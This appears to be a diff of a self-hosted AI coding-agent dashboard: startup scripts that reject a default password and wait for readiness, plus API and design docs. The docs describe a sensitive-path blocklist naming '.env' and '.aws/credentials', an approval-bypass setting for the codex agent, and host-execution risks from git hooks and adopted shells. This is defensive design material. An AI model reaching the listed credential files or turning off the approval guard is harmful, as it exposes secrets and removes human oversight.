# A dangling symlink or a directory is not "no .env yet": setup would replace
# the link, or leave its password file inside the directory and run again on
# every start.
printf 'Error: %s exists but is not a regular file.\n' "$env_file" >&2
printf 'Move it out of the way or repoint it, then rerun this script.\n' >&2
exit 1
elif [[ "$setup_only" == '1' ]]; then
printf '%s already exists; the setup only runs when it does not, and never edits it.\n' "$env_file"
fi
if [[ "$setup_only" == '1' ]]; then
printf 'Start Codeman with: bash %s\n' "$script_dir/Start-Codeman.sh"
exit 0
fi
# Naming a Compose file explicitly disables Compose's automatic discovery of
# the override file, so it has to be added back by hand. Without this, local
# customisation in docker-compose.override.yml is silently ignored. The
@@ -32,18 +494,54 @@ for override_file in "$override_yml" "$override_yaml"; do
fi
done
compose_command=(docker compose --env-file "$env_file" "${compose_files[@]}")
appdata_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
)
cases_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_CASES_PATH" { sub(/^[^=]*=/, ""); print; exit }'
)
docker_socket=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "DOCKER_SOCKET" { sub(/^[^=]*=/, ""); print; exit }'
)
# Every setting is read through Compose's own resolution (shell environment over
# .env, quoting, interpolation), once. A failure is reported here with what
# Compose said, instead of `set -e` ending the script at an empty value.
compose_stderr=$(mktemp "${TMPDIR:-/tmp}/codeman-compose.XXXXXX")
if ! compose_environment=$("${compose_command[@]}" config --environment 2>"$compose_stderr"); then
if grep -q -- 'unknown flag: --environment' "$compose_stderr"; then
printf 'Error: this Docker Compose (%s) is too old; Codeman needs %s or newer.\n' \
"${compose_version:-unknown version}" "$min_compose_version" >&2
else
cat -- "$compose_stderr" >&2
printf 'Error: `docker compose config` could not read %s and the Compose files (see above).\n' "$env_file" >&2
fi
rm -f -- "$compose_stderr"
exit 1
fi
# Compose's own warnings (an unset variable, say) still reach the terminal, once.
cat -- "$compose_stderr" >&2
rm -f -- "$compose_stderr"
# No early `exit` in the awk program: it reads all of its input, so printf never
# meets a closed pipe (a SIGPIPE would end the script under pipefail).
compose_env_value() {
printf '%s\n' "$compose_environment" |
awk -F= -v key="$1" '$1 == key && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
}
appdata_path=$(compose_env_value CODEMAN_APPDATA_PATH)
cases_path=$(compose_env_value CODEMAN_CASES_PATH)
docker_socket=$(compose_env_value DOCKER_SOCKET)
codeman_port=$(compose_env_value CODEMAN_PORT)
codeman_username=$(compose_env_value CODEMAN_USERNAME)
codeman_password=$(compose_env_value CODEMAN_PASSWORD)
# The container publishes its port on every interface and holds the host's
# Docker socket, so whoever signs in to Codeman can run anything on this host.
# The example's placeholder is a published password: refuse it outright.
if [[ "$codeman_password" == 'changeme' ]]; then
printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
printf 'set a real password in %s, then rerun this script.\n' "$env_file" >&2
exit 1
fi
if [[ -z "$codeman_password" ]]; then
printf 'Warning: CODEMAN_PASSWORD is empty, so anyone who can reach port %s can use Codeman,\n' "${codeman_port:-?}" >&2
printf 'which controls Docker on this machine. Set one in %s unless something in front of it\n' "$env_file" >&2
printf 'already asks for a login.\n' >&2
fi
unset codeman_password
if [[ -z "$appdata_path" ]]; then
printf 'Error: CODEMAN_APPDATA_PATH is not set in %s\n' "$env_file" >&2
@@ -56,7 +554,11 @@ if [[ ! -d "$appdata_path" ]]; then
printf 'Create it as the unprivileged account that should run Codeman, then retry.\n' >&2
exit 1
fi
mkdir -p -- "$appdata_path"
if ! mkdir -p -- "$appdata_path"; then
printf 'Error: cannot create CODEMAN_APPDATA_PATH: %s\n' "$appdata_path" >&2
printf 'Create it as the account that should run Codeman, or pick another folder in %s.\n' "$env_file" >&2
exit 1
fi
fi
if [[ -z "$cases_path" ]]; then
@@ -114,6 +616,7 @@ fi
if [[ -z "$docker_socket" || ! -S "$docker_socket" ]]; then
printf 'Error: DOCKER_SOCKET is not a Unix socket: %s\n' "${docker_socket:-<unset>}" >&2
printf 'Set DOCKER_SOCKET in %s to the socket your Docker daemon listens on.\n' "$env_file" >&2
exit 1
fi
@@ -209,6 +712,148 @@ else
printf 'Warning: no sha256 tool found; in-app updates will not detect environment changes.\n' >&2
fi
# ── Start, then wait until Codeman answers ──────────────────────────────────
# `up -d` returns as soon as the container exists, which says nothing about the
# server inside it. The wait asks the server itself through `docker exec` (the
# same request as the compose healthcheck, which first runs only after its 30 s
# interval), notices a crash loop by the restart count moving, and ends on the
# URL to open. Docker's own view works with any network setup, macvlan included.
logs_hint="cd $(printf '%q' "$script_dir") && docker compose logs -f codeman"
# Docker's own output above says what broke; this adds the next step. A first
# build fetches hundreds of packages, so a network hiccup is the usual cause of
# a failed build, and a rerun picks up from Docker's layer cache.
compose_failed() {
printf '\nError: `docker compose %s` failed (see the output above).\n' "$1" >&2
case "$1" in
build)
printf 'A network hiccup while building is the usual cause; rerunning this script\n' >&2
printf 'resumes from Docker'"'"'s cache.\n' >&2
;;
*--build*)
printf 'If it stopped while building the image, a network hiccup is the usual cause,\n' >&2
printf 'and rerunning this script resumes from Docker'"'"'s cache.\n' >&2
;;
esac
exit 1
}
lan_ip() {
local ip=''
if [[ "$(uname -s)" == 'Darwin' ]]; then
ip=$(ipconfig getifaddr en0 2>/dev/null || ipconfig getifaddr en1 2>/dev/null) || ip=''
else
# The address the default route leaves from: the first one `hostname -I`
# lists is often docker0 or a VPN interface.
ip=$(ip -4 route get 1.1.1.1 2>/dev/null | sed -n 's/.* src \([0-9.]*\).*/\1/p') || ip=''
ip=${ip%%$'\n'*}
if [[ -z "$ip" ]]; then
ip=$(hostname -I 2>/dev/null) || ip=''
ip=${ip%% *}
fi
fi
printf '%s' "$ip"
}
print_access_summary() {
local cid=$1 published host_port bind_host lan addresses dir_q
dir_q=$(printf '%q' "$script_dir")
published=$("${compose_command[@]}" port codeman "$codeman_port" 2>/dev/null) || published=''
published=${published%%$'\n'*}
printf '\n'
if [[ -n "$published" ]]; then
host_port=${published##*:}
bind_host=${published%:*}
printf ' Open http://localhost:%s\n' "$host_port"
case "$bind_host" in
127.0.0.1 | '[::1]' | ::1) ;;
*)
lan=$(lan_ip)
if [[ -n "$lan" ]]; then
printf ' http://%s:%s (from other devices on your network)\n' "$lan" "$host_port"
fi
;;
esac
else
addresses=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$cid" 2>/dev/null) || addresses=''
printf ' Open http://<container address>:%s (no host port is published; container addresses: %s)\n' \
"$codeman_port" "${addresses:-unknown}"
fi
printf ' Sign in %s, with the CODEMAN_PASSWORD from %s\n' "${codeman_username:-admin}" "$env_file"
if [[ -n "$generated_password" && -t 1 ]]; then
printf ' Password %s (generated on this first run)\n' "$generated_password"
fi
if [[ "$first_run" == '1' ]]; then
printf '\n Next: start a session from the dashboard and log its CLI in once. Logins are\n'
printf ' kept in %s, so they survive rebuilds.\n' "$appdata_path"
fi
printf '\n'
printf ' Logs cd %s && docker compose logs -f codeman\n' "$dir_q"
printf ' Stop cd %s && docker compose down\n' "$dir_q"
printf ' Update App Settings > Updates in the dashboard, or git pull and rerun this script\n'
}
report_when_ready() {
local cid state status health restarts first_restarts='' waited=0 limit=180 probe dots=0
cid=$("${compose_command[@]}" ps -q codeman 2>/dev/null) || cid=''
cid=${cid%%$'\n'*}
if [[ -z "$cid" ]]; then
printf 'Error: Compose started no codeman container. Look at: %s\n' "$logs_hint" >&2
return 1
fi
if [[ "$no_wait" == '1' ]]; then
printf '\nCodeman is starting (--no-wait given, so not waiting for it).\n'
print_access_summary "$cid"
return 0
fi
if [[ -t 1 ]]; then
dots=1
fi
probe="fetch('http://127.0.0.1:${codeman_port}/api/status').then((r) => process.exit(r.status < 500 ? 0 : 1)).catch(() => process.exit(1))"
printf 'Waiting for Codeman to answer...'
while :; do
state=$(docker inspect --format '{{.State.Status}}|{{if .State.Health}}{{.State.Health.Status}}{{end}}|{{.RestartCount}}' "$cid" 2>/dev/null) || state='missing||0'
status=${state%%|*}
health=${state#*|}
health=${health%%|*}
restarts=${state##*|}
if [[ -z "$first_restarts" ]]; then
first_restarts=$restarts
fi
if [[ "$health" == 'healthy' ]] ||
{ [[ "$status" == 'running' ]] && docker exec "$cid" node -e "$probe" >/dev/null 2>&1; }; then
printf ' ready.\n'
print_access_summary "$cid"
return 0
fi
if [[ "$status" == 'exited' || "$status" == 'dead' || "$status" == 'missing' || "$status" == 'restarting' ||
"$health" == 'unhealthy' || "$restarts" != "$first_restarts" ]]; then
printf '\n'
printf 'Error: Codeman did not come up (container %s). Its last log lines:\n\n' "${status:-unknown}" >&2
"${compose_command[@]}" logs --tail 40 codeman >&2 || true
printf '\nFollow the full log with: %s\n' "$logs_hint" >&2
return 1
fi
if ((waited >= limit)); then
printf '\n'
printf 'Warning: Codeman has not answered after %s seconds. It may still be starting;\n' "$limit" >&2
printf 'follow it with: %s\n' "$logs_hint" >&2
return 1
fi
if ((dots)); then
printf '.'
fi
sleep 2
waited=$((waited + 2))
done
}
if [[ "$first_run" == '1' ]]; then
printf 'Building the image. The first build downloads and compiles everything and takes a\n'
printf 'few minutes; later starts reuse most of it.\n'
fi
# codeman-node-modules and codeman-dist (docker-compose.yaml) are seeded from
# the image only while EMPTY, so a rebuilt image's fresh output sits unused
# behind old volume content until something clears it. The in-app self-updater
@@ -235,7 +880,9 @@ if [[ -n "$dockerfile_sha" ]]; then
fi
if [[ ${#volumes_to_refresh[@]} -eq 0 ]]; then
exec "${compose_command[@]}" up --build -d
"${compose_command[@]}" up --build -d || compose_failed 'up --build'
report_when_ready || exit 1
exit 0
fi
# Runs even on this script's very first invocation against an EXISTING
@@ -247,7 +894,7 @@ printf 'Source changed since the last start; refreshing: %s\n' "${volumes_to_ref
# Build BEFORE taking the stack down: the image build is the slow part and needs
# no container stopped, so the deployment is offline only for the recreate.
"${compose_command[@]}" build
"${compose_command[@]}" build || compose_failed build
# `com.docker.compose.volume` is the volume KEY, not a project-qualified name -
# a second stack on the same host (a beta instance started with a different
@@ -306,4 +953,5 @@ fi
# Already built above, so no --build here: a second build would only re-check
# the cache.
exec "${compose_command[@]}" up -d
"${compose_command[@]}" up -d || compose_failed up
report_when_ready || exit 1
+19 -2
View File
@@ -166,10 +166,11 @@ fi
# appdata directory (which creates it): this script updates an EXISTING
# deployment, so a missing appdata path means there is nothing here yet to
# update, and creating one would just be this script quietly doing
# Start-Codeman.sh's first-run job worse.
# Start-Codeman.sh's first-run job worse. No early `exit` in awk: a closed pipe
# would end this script through pipefail, with no message.
appdata_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
awk -F= '$1 == "CODEMAN_APPDATA_PATH" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
)
if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
printf 'Error: CODEMAN_APPDATA_PATH is not set or does not exist: %s\n' "${appdata_path:-<unset>}" >&2
@@ -177,6 +178,22 @@ if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
exit 1
fi
# Start-Codeman.sh refuses to start while the password is still the example's
# `changeme`. Checked here too, BEFORE the build and the `down` below: found
# only at the handoff, that refusal would leave the stack this script just
# stopped down. No early `exit` in awk, so printf never meets a closed pipe.
codeman_password=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_PASSWORD" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
)
if [[ "$codeman_password" == 'changeme' ]]; then
printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
printf 'set a real password in %s, then rerun this script. Nothing was stopped.\n' "$env_file" >&2
exit 1
fi
unset codeman_password
# `stat -c` is GNU, `stat -f` is BSD/macOS; the bind source lives on the Docker
# host, so both need to work. Identical to Start-Codeman.sh's own helper.
owner_of() {
+15 -3
View File
@@ -8,6 +8,17 @@ see [§7 Build log](#7-build-log-what-actually-happened) for what shipped, what
verification round found, and the two items that genuinely remain open (§2.4's footgun
guard and the Part 3 deferrals).
**Update 2026-11-08 (1.50.0)**: `agentSkillEnabled` is now **on by default** (owner decision:
"enable the codeman skill by default"), the flip §2.2 planned for after dogfooding. An absent
key means on in both readers (server `getAgentSkillEnabled()` and the App Settings switch, both
`!== false`); an explicit false is off. Existing installs that stored off are switched on once at
the first 1.50.0 start (every App Settings Save up to 1.49.0 wrote `false`); turning it off
afterwards sticks (`src/web/agent-skill-default-migration.ts`, a "Behaviour change" in the
release notes). To keep users' repositories clean, every managed copy
now carries a `.gitignore` of `*` (written once with `wx`, removed by uninstall only when it is
the last file left). Turning the setting off still sweeps nothing. The sections below record the
original default-off decision as it was made.
**Date**: 2026-08-08
**Scope**: Part 1 (agent skill) and Part 2 (wait primitives) were specified and built.
Parts 3 to 5 are captured so they are not lost, but remain deliberately deferred.
@@ -119,7 +130,7 @@ Install paths, in order of how a user gets it:
Setting name: `agentSkillEnabled`. Synced (not per-device), since it changes on-disk case
content rather than display. Default: **ON after the dogfooding phase, OFF in the first
release**. Rationale for starting OFF: Claude Code loads every skill's name and description
release** (flipped to ON in 1.50.0, see the Status update at the top). Rationale for starting OFF: Claude Code loads every skill's name and description
into context on every turn, so an always-on skill has a small permanent token cost, and we
should measure that we are buying something with it first.
@@ -543,6 +554,7 @@ without the wait endpoints, so the wait work goes first.
1. ✅ `skills/` at the repo root: accepted (built that way; the install one-liner depends on it).
2. ✅ `agentSkillEnabled` default: **OFF** for the first release, per §2.2's rationale (skills
cost context on every turn; measure before defaulting on). Flip later if dogfooding earns it.
**Flipped to ON in 1.50.0** (2026-11-08), with the copy made self-ignoring in git.
3. ✅ Both: global install via `npx skills add` / `codeman skill install`, AND per-case
auto-injection behind the (default-off) setting. Injection is add-only at session create and
marker-guarded, so a user-authored copy is never touched.
@@ -681,9 +693,9 @@ Built to the §2.6 file list, mirroring the statusLine mechanism throughout:
| ----- | ----- |
| `applyAgentSkill(casePath, enabled)` + `installAgentSkillInto` / `removeAgentSkillFrom` | `src/hooks-config.ts` |
| `codeman skill install` / `skill uninstall` (`--global` default, `--case <name>`) | `src/cli.ts` |
| `agentSkillEnabled` (SYNCED, default OFF) | `schemas.ts` (`SettingsUpdateSchema`), `getAgentSkillEnabled()` on `ConfigPort`/`server.ts`, checkbox in `index.html` + `settings-ui.js` |
| `agentSkillEnabled` (SYNCED, default OFF; ON since 1.50.0) | `schemas.ts` (`SettingsUpdateSchema`), `getAgentSkillEnabled()` on `ConfigPort`/`server.ts`, checkbox in `index.html` + `settings-ui.js`; the one-time 1.50.0 boot migration of a stored false in `src/web/agent-skill-default-migration.ts` |
| Injection call sites (Claude mode only) | `POST /api/sessions` next to `refreshStaleCodemanHooks`; `POST /api/quick-start` after the case-create/self-heal blocks (local + docker cases; remote skipped, its path lives on another host) |
| Tests | `test/agent-skill.test.ts` (10 unit), `test/quick-start.test.ts` (real server: default-off, PUT accepts key, injection on create, shell-mode skipped) |
| Tests | `test/agent-skill.test.ts` (unit, incl. the self-ignoring `.gitignore` against real git since 1.50.0), `test/quick-start.test.ts` (real server: default-off at first, default-on since 1.50.0 incl. a partial PUT and an explicit false, injection on create, shell-mode skipped), `test/agent-skill-setting-ui.test.ts` (the App Settings switch reads an absent key as on, and a device blob holding the old false follows the server), `test/agent-skill-default-migration.test.ts` (the boot migration: once per data dir, marker outside settings.json) |
Decisions worth keeping:
+258 -15
View File
@@ -287,7 +287,8 @@ long turn, but a worker that never comes back is far more likely to be working t
blocked, and polling `blocked` alone will sit at its timeout.
**`blocked` on `codex` is read off the screen**, because codex has no hooks and is
launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set.
launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set
(`codexConfig.networkAccess` opens the sandbox's network and does not change that).
A codex pane showing a command, edit or network approval, a question (`request_user_input`)
or the startup trust prompt raises `blocked` (plus the red alert, push and webhook a Claude
`permission_prompt` raises, alert-only: answer it in the terminal), and the session reads
@@ -905,10 +906,10 @@ html and svg are the ones deliberately kept out.
`POST /api/filesystem/mkdir` with `{ path, name, sessionId?, showHidden? }` makes one
folder directly inside `path`, which must be a folder the path picker may browse, and
answers `{ path }`. `name` is one path segment (letters, numbers, spaces and `_ - . ~`, not
starting with a dot or `~`). `400` for a cases folder (use Add Case → New Case) or a `path`
that is not a directory, `403` for a blocked tree or a `path` outside the browse roots,
`404` for a `path` that does not exist, `409` when the folder already exists, and `422`
when the mount under `path` does not answer.
starting with a dot or `~`). `400` for a cases folder (use Add Case → Create New or Clone
Repo with no custom folder) or a `path` that is not a directory, `403` for a blocked tree
or a `path` outside the browse roots, `404` for a `path` that does not exist, `409` when
the folder already exists, and `422` when the mount under `path` does not answer.
## Rendered HTML files
@@ -986,11 +987,87 @@ the directory the session's local tmux pane is in now (`#{pane_current_path}`),
the web UI uses as the base for a relative path printed in the terminal. It is
never restored after a restart (it is written to `state.json` with the rest of the
session state but not read back), absent for remote,
Docker, direct-PTY and rediscovered sessions and for a session split into several panes,
and never a confinement root: file routes stay confined to `workingDir`.
Docker, adopted, direct-PTY and rediscovered sessions and for a session split into several panes,
and never a confinement root. File routes stay confined to `workingDir`, except for an
absolute path inside an `outsideWorktree`, described in the next section.
tmux reports the resolved directory, so for a workspace reached through a symlink a
directory at or under the resolved workspace is reported in `workingDir`'s spelling.
## Live worktree (`liveWorktree`, `outsideWorktree`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) may carry `liveWorktree`,
the linked git worktree the session's pane is in now, for example after Claude Code's
EnterWorktree moved the running session:
```json
"liveWorktree": { "name": "feature-a", "path": "/home/me/repo/.claude/worktrees/feature-a" }
```
It is derived from `paneCwd`, so it is absent wherever that is, and it is only ever a folder
strictly below `workingDir`: a worktree elsewhere is never reported in it. `path` is in
`workingDir`'s spelling. Like `paneCwd` it is never restored after a restart and never a
confinement root.
Session state may also carry the optional `outsideWorktree`: a
worktree of the session's repository OUTSIDE `workingDir`, such as `git worktree add ../feature`.
It can be a linked worktree, or the repository's main worktree for a session started in a linked
one. It carries `"outside": true`, and `path` is the folder's real path. A session has at most one
of `liveWorktree` and `outsideWorktree`:
```json
"outsideWorktree": { "name": "repo-feature", "path": "/home/me/repo-feature", "outside": true }
```
Like `liveWorktree`, it is never restored after a restart.
Such a worktree is a second root for the session's file routes. `file-content` (read and edit),
`file-raw`, `file-preview`, `file-thumbnail`, `GET /api/v1/download` and
`POST /api/v1/sessions/:id/html-view` accept an ABSOLUTE path inside it, while a relative path
still resolves against `workingDir` only. A file there that the sensitive-path blocklist names
(`.env`, `.aws/credentials`, `users.json` and the like) is refused on every one of those routes.
Codeman reports the worktree only when the session's own repository lists it, and only when `workingDir` is the top of that repository or of a linked worktree, so a session started in a subfolder of its repository reports none. It never reports:
- `/`, the home folder or above, or a folder holding `workingDir`;
- a folder at, inside or around a Docker case workspace;
- in multi-user mode, a worktree outside the owner's folder rule (their own space or the session
folder; an admin owner is not limited);
- any outside worktree while attachment workspace confinement is on;
- a folder at, inside or around a blocked attachment tree, or a folder that is itself a
sensitive folder such as `.ssh`.
The file routes also apply confinement and the blocked trees on every request, so a setting changed later takes effect at once, and a listing then walks `workingDir`. `html-view` also applies the attachment guard to such a path on every request.
`GET /api/v1/sessions/:id/files` takes an optional `root=live`, which starts the listing, or a
`q` search, at a worktree inside `workingDir` instead of at `workingDir`. `root=live` never walks
an outside worktree. `root=live-any` does the same and also walks an outside worktree, whose
listing carries ABSOLUTE `path`s. The response's `root` names the folder
that was walked: it stays `workingDir` when the session is in no worktree, when the worktree has
gone, and when the folder no longer resolves inside `workingDir` (for an outside worktree, when it
no longer resolves to its recorded `path`). A `path` in the response stays relative to
`workingDir` either way, except in a `root=live-any` listing of an outside worktree, where every `path` is
absolute. A relative `path` and an absolute `path` inside an outside worktree both work on
`file-content`, `file-raw`, `file-preview`, `file-thumbnail`, `/api/v1/download` and `html-view`.
A `q` containing `/` is matched against paths relative to the folder walked. The response
also carries `worktree`, the session's `liveWorktree` object (`{ name, path }`) whenever the
session has one, whichever folder was walked and with or without `root=live` or `root=live-any`.
An `outsideWorktree` (`{ name, path, outside: true }`) is reported in `worktree` only for
`root=live-any`.
The walk lists at most 5,000 files and folders and opens no more folders once it has read 250,000
directory entries (the folder that crosses that line is read whole). It sets `truncated` when it
stops with anything left, which includes a folder it never opened, even if that folder would have
turned out to be empty. It is a per-directory round-robin (breadth-first): each folder found so far
gets an equal share of what is left before any of them gets more, and a folder's own files count
as one more share beside the subfolders it has just found, so one huge folder cannot use up the
listing limit before its later siblings or its own subfolders are read, and the `matches` of a `q`
search come back shallow-first. A folder made of thousands of small subfolders can still use most
of the limit one level down, and folders that add up to the read limit can leave later ones
unread. A folder below the start of the walk that does not answer a bounded probe (a mount that
stopped responding) is not read either, and counts as left over the same way. In the tree, a
directory node the walk stopped short of for either reason also carries `incomplete: true`: its
`children` hold what was listed before it stopped, which can be nothing. The key is absent on every
other node.
## Session model (`displayModel`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) carries the model a
@@ -1085,6 +1162,80 @@ the caller's case space, a linked case's exact path, or a Claude worktree of eit
session, the create response carries `tabLayout` as it does for `tabGroupId`. Deleting the
case forgets the value; existing sessions never move.
## Adopting a foreign tmux session
A tmux session someone started by hand (`tmux new -s work`) lives on its own socket,
where Codeman does not look for its own sessions. These two routes list such sessions
and open one as a tab. Admin-only in multi-user mode (403), since the list shows other
people's processes and adopting a shell is arbitrary execution as the server account.
`GET /api/v1/mux/foreign` lists candidates. Local sessions are always scanned, and
cached for 5 s. `?docker=1` and `?remote=1` add the containers behind the saved Docker
cases and the saved ssh hosts, one `docker exec` or ssh connection per target, so the
browser sends them only on an explicit scan. `?force=1` skips the local cache.
```json
{
"sessions": [
{
"id": "fa9b76d36",
"location": "local",
"socketPath": "/tmp/tmux-1000/default",
"sessionName": "work",
"windows": 1,
"attached": false,
"createdAt": 1793931275000,
"mode": "claude",
"command": "claude",
"workingDir": "/home/me/project",
"adoptedBy": "961d0a82-6888-425d-a3ee-dab38ecbb598"
}
],
"scannedAt": 1793931277916,
"notes": ["remote Build box: unreachable, or no tmux"],
"pollIntervalMs": 8000,
"canScanWide": true
}
```
`hostId`, `hostLabel` and `containerName` appear on a docker or remote candidate.
`adoptedBy` names the session already wrapping that target. `notes` says why a location
gave nothing, each opening with where it came from (`local`, `docker <name>`,
`remote <label>`). A session whose name or socket path holds characters Codeman will not
pass to a shell, or whose name tmux reads as a target rather than a name (one starting
with `=`, `@` or `%`, or a bare `~`), is skipped and counted in a note. A tmux server that
does not answer within 2 seconds costs only its own rows and gets a note, and a scan cut
short keeps the rows it read and says so in one. Sessions on a Codeman socket never appear,
and neither does a session named `codeman-*` or `claudeman-*` on any other socket, with no note.
`POST /api/v1/sessions/adopt` wraps one, with `{ "id": "...", "docker": true, "remote":
true }` (the two flags must match the listing the id came from; `name` and
`parentSessionId` are optional). The body carries only that opaque id: the target is
re-resolved by a fresh scan, so a candidate that is gone answers `404`, and one on a
location unreachable this time answers `404` saying so.
The answer is `{ "session": SessionState, "adopted": true }`, or
`{ "session": SessionState, "alreadyAdopted": true }` when the target already has a
wrapper. A second adopt of a target whose wrapper is still being created is
`SESSION_BUSY`. The session has `adopt` set and `pid: null`: start it like any other,
`POST .../shell` for `mode: "shell"` and `POST .../interactive` for the rest. `mode`
comes from the pane's process tree.
Closing the session detaches. The foreign session keeps running, and only Codeman's
wrapper and its grouped `codeman-view-<id>` session go, so `DELETE` removes nothing that
belongs to someone else. Codeman did not start this agent, so these refuse an adopted
session: respawn, Ralph (its config and the `fix-plan/write`, `fix-plan/read` and
`ralph-prompt/write` file routes), one-shot `POST .../run`, auto-clear, auto-compact,
auto-resume, custom model endpoints, prompt uploads and the image watcher. `stop` waits
are a 400, and so are `blocked` waits unless Codeman reads that CLI's dialogs off its
screen (codex), `git-status`, `git-fetch` and Edit history (`.../edits`) answer
`unsupported` with `reason: "adopted"`, `git-diff` and `git-fetch-settings` answer
`400 INVALID_INPUT`, and `last-response` answers empty, since Codeman knows no transcript
for it. Its `paneExit`
stays absent, because the pane holds a `tmux attach` and not the agent. Reboot restore
does not rebuild one. A wrapper that cannot start answers `OPERATION_FAILED` and leaves
the tab to be tried again: Codeman never starts a local process in its place.
## Approvals Inbox
Cross-session queue of prompts waiting on a human (permission dialogs,
@@ -1358,9 +1509,9 @@ The target is judged before anything is written:
- The folder must not exist, or must be an **empty** directory; a folder with contents is Link Existing's job: `409 ALREADY_EXISTS`. A symlink or a plain file at the target is `400`.
- `409 ALREADY_EXISTS` also for a case name already in use (in the cases dir or the registry) and for a folder that is already a case.
Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`.
Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`, or `409 ALREADY_EXISTS` when the name was linked meanwhile, or `409 CONFLICT` when `linked-cases.json` cannot be read or is not a JSON object. Such a file is refused and left as it is, because writing over it would unlink every other case; `POST /api/cases/link` refuses it the same way.
`POST /api/cases/clone` takes the same optional `path`, with `{ name, repository, ref?, shallow?, description?, path? }`. Without `path` the repository is cloned to `<cases dir>/<name>` as always. With `path` the repository is cloned **into that exact folder** (no `<name>` subfolder is added) and registered as a linked case, judged by the same rules as above: `400` for an invalid or blocked path (or a symlink or file at the target), `404` for a missing parent, `422` for an unreachable parent, and `409 ALREADY_EXISTS` for a folder that has files, a name already in use or a folder that is already a case. Admin only in multi-user mode (`403`). An existing empty folder is cloned into directly and is kept, emptied again, if the clone fails; a second clone into the same folder while one is running is refused with `409`. A destination at or inside a Docker case workspace is refused `400 INVALID_INPUT` (git would run the new repository's hooks and filters on the host, and a container can write there), and `503` when the Docker case list cannot be read. If the clone succeeds but the registry write fails (or the name was linked while git ran, which is `409`), the cloned folder is kept and the error names it: `500 OPERATION_FAILED`, then use Link Existing.
`POST /api/cases/clone` takes the same optional `path`, with `{ name, repository, ref?, shallow?, description?, path? }`. Without `path` the repository is cloned to `<cases dir>/<name>` as always. With `path` the repository is cloned **into that exact folder** (no `<name>` subfolder is added) and registered as a linked case, judged by the same rules as above: `400` for an invalid or blocked path (or a symlink or file at the target), `404` for a missing parent, `422` for an unreachable parent, and `409 ALREADY_EXISTS` for a folder that has files, a name already in use or a folder that is already a case. Admin only in multi-user mode (`403`). An existing empty folder is cloned into directly and is kept, emptied again, if the clone fails; a second clone into the same folder while one is running is refused with `409`. A destination at or inside a Docker case workspace is refused `400 INVALID_INPUT` (git would run the new repository's hooks and filters on the host, and a container can write there), and `503` when the Docker case list cannot be read. If the clone succeeds but the case cannot be registered, the cloned folder is kept and the error names it, then use Link Existing: `409 ALREADY_EXISTS` when the name was linked while git ran, `409 CONFLICT` when `linked-cases.json` is refused as above, and `500 OPERATION_FAILED` when the write itself fails.
## Git status
@@ -1382,23 +1533,23 @@ Both routes accept two optional query parameters, which the UI sends from its pe
- `state: 'ok'`: `repos[]`, each `{ name, path, status }` where `name` is the repository folder's name, `path` its root relative to the working directory, and `status` is:
`branch` (null when `detached`), `upstream`, `ahead`, `behind`, `hasRemote`, `counts` (`staged`, `unstaged`, `untracked`, `conflicted`, `uncommitted` = distinct paths, `stashes`), `files[]` (`path` relative to `repoRoot`, `origPath` for a rename, `index` and `worktree` status letters, `kind`: `staged` \| `unstaged` \| `untracked` \| `conflicted`; a file that is staged *and* modified again appears once per kind), `filesTruncated`, `unpushedCount` (exact) and `unpushed[]` (newest first: `hash`, `author`, `time` in epoch seconds, `subject`), `repoRoot`, `checkedAt`.
- `state: 'not-a-repo'`: no repository here, above (that counts) or within two levels below.
- `state: 'unsupported'` with `reason: 'remote' | 'docker'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host).
- `state: 'unsupported'` with `reason: 'remote' | 'docker' | 'adopted'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host; an adopted session's `workingDir` is a neutral `/tmp`, not its workspace).
- `state: 'error'` with a short `error` (git missing, timed out, or git's first stderr line with any `user:token@` credentials redacted).
Lists are capped (300 files and 50 commits per repository) while the counts stay exact. A branch with no upstream reports the commits no remote has (`HEAD --not --remotes`); a repository with no remote reports `unpushedCount: 0`, since there is nothing to push to. Concurrent polls of one folder share a single git invocation; `?fresh=1` (what the panel's Refresh button and opening the panel send) skips the short-lived caches, though it still joins a computation already running.
`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote and Docker sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories 